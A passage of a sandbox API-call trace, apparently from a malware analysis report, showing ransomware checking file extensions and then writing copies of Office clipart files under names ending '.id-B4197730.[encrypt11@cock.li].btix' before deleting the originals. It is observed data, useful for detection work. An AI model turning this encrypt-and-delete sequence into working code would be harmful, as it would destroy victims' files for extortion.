(lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0070.610] lstrlenW (lpString=".zip") returned 4 [0070.610] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0070.610] lstrlenW (lpString=".rar") returned 4 [0070.610] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0070.610] lstrlenW (lpString=".bz2") returned 4 [0070.610] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0070.610] lstrlenW (lpString=".7z") returned 3 [0070.610] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0070.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0070.610] lstrlenW (lpString=".dbf") returned 4 [0070.610] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0070.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0070.611] lstrlenW (lpString=".1cd") returned 4 [0070.611] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0070.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0070.611] lstrlenW (lpString=".jpg") returned 4 [0070.611] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0070.611] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0070.612] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0070.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0070.612] GetLastError () returned 0x0 [0070.612] ReadFile (in: hFile=0x32c, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x3670, lpOverlapped=0x0) returned 1 [0070.642] WriteFile (in: hFile=0x358, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x3680, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x3680, lpOverlapped=0x0) returned 1 [0070.643] ReadFile (in: hFile=0x32c, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0070.643] WriteFile (in: hFile=0x358, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xec, lpOverlapped=0x0) returned 1 [0070.643] SetEndOfFile (hFile=0x358) returned 1 [0070.643] CloseHandle (hObject=0x358) returned 1 [0070.643] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0070.644] SetEndOfFile (hFile=0x32c) returned 1 [0070.645] CloseHandle (hObject=0x32c) returned 1 [0070.645] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0070.645] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf")) returned 1 [0070.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68 [0070.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68 [0070.646] lstrlenW (lpString=".doc") returned 4 [0070.646] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0070.646] lstrlenW (lpString=".docx") returned 5 [0070.646] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0070.646] lstrlenW (lpString=".pdf") returned 4 [0070.646] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0070.646] lstrlenW (lpString=".xls") returned 4 [0070.646] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0070.646] lstrlenW (lpString=".xlsx") returned 5 [0070.646] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0070.646] lstrlenW (lpString=".ppt") returned 4 [0070.646] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0070.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68 [0070.646] lstrlenW (lpString=".zip") returned 4 [0070.646] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0070.646] lstrlenW (lpString=".rar") returned 4 [0070.646] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0070.646] lstrlenW (lpString=".bz2") returned 4 [0070.646] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0070.646] lstrlenW (lpString=".7z") returned 3 [0070.646] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0070.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68 [0070.646] lstrlenW (lpString=".dbf") returned 4 [0070.646] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0070.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68 [0070.646] lstrlenW (lpString=".1cd") returned 4 [0070.646] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0070.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68 [0070.646] lstrlenW (lpString=".jpg") returned 4 [0070.647] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0070.647] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0070.647] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0070.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0070.648] GetLastError () returned 0x0 [0070.648] ReadFile (in: hFile=0x32c, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x1b1a, lpOverlapped=0x0) returned 1 [0070.658] WriteFile (in: hFile=0x358, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x1b20, lpOverlapped=0x0) returned 1 [0070.659] ReadFile (in: hFile=0x32c, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0070.659] WriteFile (in: hFile=0x358, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xec, lpOverlapped=0x0) returned 1 [0070.659] SetEndOfFile (hFile=0x358) returned 1 [0070.659] CloseHandle (hObject=0x358) returned 1 [0070.659] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0070.660] SetEndOfFile (hFile=0x32c) returned 1 [0070.660] CloseHandle (hObject=0x32c) returned 1 [0070.660] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0070.661] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf")) returned 1 [0070.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68 [0070.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68 [0070.661] lstrlenW (lpString=".doc") returned 4 [0070.661] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0070.661] lstrlenW (lpString=".docx") returned 5 [0070.661] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0070.661] lstrlenW (lpString=".pdf") returned 4 [0070.661] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0070.661] lstrlenW (lpString=".xls") returned 4 [0070.661] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0070.662] lstrlenW (lpString=".xlsx") returned 5 [0070.662] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0070.662] lstrlenW (lpString=".ppt") returned 4 [0070.662] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0070.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68 [0070.662] lstrlenW (lpString=".zip") returned 4 [0070.662] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0070.662] lstrlenW (lpString=".rar") returned 4 [0070.662] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0070.662] lstrlenW (lpString=".bz2") returned 4 [0070.662] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0070.662] lstrlenW (lpString=".7z") returned 3 [0070.662] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0070.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68 [0070.662] lstrlenW (lpString=".dbf") returned 4 [0070.662] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0070.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68 [0070.662] lstrlenW (lpString=".1cd") returned 4 [0070.662] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0070.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68 [0070.662] lstrlenW (lpString=".jpg") returned 4 [0070.662] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0070.663] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0070.663] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0070.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0070.664] GetLastError () returned 0x0 [0070.664] ReadFile (in: hFile=0x32c, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x1a7c, lpOverlapped=0x0) returned 1 [0070.681] WriteFile (in: hFile=0x358, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x1a80, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x1a80, lpOverlapped=0x0) returned 1 [0070.682] ReadFile (in: hFile=0x32c, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0070.682] WriteFile (in: hFile=0x358, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xec, lpOverlapped=0x0) returned 1 [0070.682] SetEndOfFile (hFile=0x358) returned 1 [0070.682] CloseHandle (hObject=0x358) returned 1 [0070.682] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0070.682] SetEndOfFile (hFile=0x32c) returned 1 [0070.683] CloseHandle (hObject=0x32c) returned 1 [0070.683] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0070.683] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf")) returned 1 [0070.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0070.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0070.689] lstrlenW (lpString=".doc") returned 4 [0070.689] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0070.689] lstrlenW (lpString=".docx") returned 5 [0070.689] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0070.690] lstrlenW (lpString=".pdf") returned 4 [0070.690] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0070.690] lstrlenW (lpString=".xls") returned 4 [0070.690] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0070.690] lstrlenW (lpString=".xlsx") returned 5 [0070.690] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0070.690] lstrlenW (lpString=".ppt") returned 4 [0070.690] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0070.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0070.690] lstrlenW (lpString=".zip") returned 4 [0070.690] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0070.690] lstrlenW (lpString=".rar") returned 4 [0070.690] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0070.690] lstrlenW (lpString=".bz2") returned 4 [0070.690] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0070.690] lstrlenW (lpString=".7z") returned 3 [0070.690] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0070.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0070.690] lstrlenW (lpString=".dbf") returned 4 [0070.690] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0070.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0070.690] lstrlenW (lpString=".1cd") returned 4 [0070.690] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0070.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0070.690] lstrlenW (lpString=".jpg") returned 4 [0070.690] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0070.693] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0070.693] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0070.693] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0070.714] GetLastError () returned 0x0 [0070.714] ReadFile (in: hFile=0x308, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x439c, lpOverlapped=0x0) returned 1 [0070.719] WriteFile (in: hFile=0x2e0, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x43a0, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x43a0, lpOverlapped=0x0) returned 1 [0070.726] ReadFile (in: hFile=0x308, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0070.726] WriteFile (in: hFile=0x2e0, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xec, lpOverlapped=0x0) returned 1 [0070.726] SetEndOfFile (hFile=0x2e0) returned 1 [0070.731] CloseHandle (hObject=0x2e0) returned 1 [0070.731] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0070.731] SetEndOfFile (hFile=0x308) returned 1 [0070.734] CloseHandle (hObject=0x308) returned 1 [0070.734] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0070.734] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf")) returned 1 [0070.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0070.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0070.735] lstrlenW (lpString=".doc") returned 4 [0070.735] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0070.735] lstrlenW (lpString=".docx") returned 5 [0070.735] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0070.735] lstrlenW (lpString=".pdf") returned 4 [0070.735] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0070.735] lstrlenW (lpString=".xls") returned 4 [0070.735] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0070.735] lstrlenW (lpString=".xlsx") returned 5 [0070.735] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0070.735] lstrlenW (lpString=".ppt") returned 4 [0070.735] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0070.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0070.735] lstrlenW (lpString=".zip") returned 4 [0070.735] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0070.735] lstrlenW (lpString=".rar") returned 4 [0070.735] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0070.735] lstrlenW (lpString=".bz2") returned 4 [0070.735] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0070.735] lstrlenW (lpString=".7z") returned 3 [0070.735] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0070.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0070.735] lstrlenW (lpString=".dbf") returned 4 [0070.735] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0070.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0070.735] lstrlenW (lpString=".1cd") returned 4 [0070.735] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0070.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0070.735] lstrlenW (lpString=".jpg") returned 4 [0070.735] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0070.739] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0070.739] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0070.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0070.741] GetLastError () returned 0x0 [0070.741] ReadFile (in: hFile=0x36c, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x721c, lpOverlapped=0x0) returned 1 [0070.803] WriteFile (in: hFile=0x320, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x7220, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x7220, lpOverlapped=0x0) returned 1 [0070.804] ReadFile (in: hFile=0x36c, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0070.804] WriteFile (in: hFile=0x320, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xec, lpOverlapped=0x0) returned 1 [0070.804] SetEndOfFile (hFile=0x320) returned 1 [0070.804] CloseHandle (hObject=0x320) returned 1 [0070.804] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0070.804] SetEndOfFile (hFile=0x36c) returned 1 [0070.805] CloseHandle (hObject=0x36c) returned 1 [0070.805] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0070.805] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf")) returned 1 [0070.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0070.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0070.805] lstrlenW (lpString=".doc") returned 4 [0070.805] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0070.805] lstrlenW (lpString=".docx") returned 5 [0070.805] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0070.806] lstrlenW (lpString=".pdf") returned 4 [0070.806] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0070.806] lstrlenW (lpString=".xls") returned 4 [0070.806] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0070.806] lstrlenW (lpString=".xlsx") returned 5 [0070.806] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0070.806] lstrlenW (lpString=".ppt") returned 4 [0070.806] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0070.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0070.806] lstrlenW (lpString=".zip") returned 4 [0070.806] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0070.806] lstrlenW (lpString=".rar") returned 4 [0070.806] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0070.806] lstrlenW (lpString=".bz2") returned 4 [0070.806] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0070.806] lstrlenW (lpString=".7z") returned 3 [0070.806] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0070.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0070.806] lstrlenW (lpString=".dbf") returned 4 [0070.806] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0070.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0070.806] lstrlenW (lpString=".1cd") returned 4 [0070.806] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0070.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0070.806] lstrlenW (lpString=".jpg") returned 4 [0070.806] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0070.829] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0070.829] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0070.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0070.831] GetLastError () returned 0x0 [0070.831] ReadFile (in: hFile=0x32c, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, 